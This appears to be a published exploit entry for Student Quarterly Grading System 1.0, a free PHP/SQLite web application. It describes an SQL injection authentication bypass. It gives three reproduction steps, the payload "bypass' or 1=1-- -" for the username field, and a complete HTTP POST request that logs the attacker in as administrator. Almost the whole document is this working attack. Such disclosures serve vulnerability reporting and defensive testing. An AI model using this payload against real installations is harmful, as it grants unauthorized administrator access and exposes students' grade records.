# Exploit Title: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass# Date: 04.10.2021# Exploit Author: Blackhan# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code# Version: 1.0# Tested on: Windows 10, Kali Linux# Student Quarterly Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.
Steps To Reproduce:1- Go to the login page http://localhost/grading_system/login.php
2- Enter the payload to username field as"bypass' or 1=1-- -" without double-quotes andtype anything to password field.3- Click on "Login" button and you are logged inas administrator.
PoC
POST /grading_system/Actions.php?a=login HTTP/1.1
Host: localhost
Content-Length:45
sec-ch-ua:"Chromium";v="93"," Not;A Brand";v="99"
Accept: application/json, text/javascript,*/*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
sec-ch-ua-platform:"Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j
Connection: close
username=bypass'+or+1%3D1--+-&password=bypass
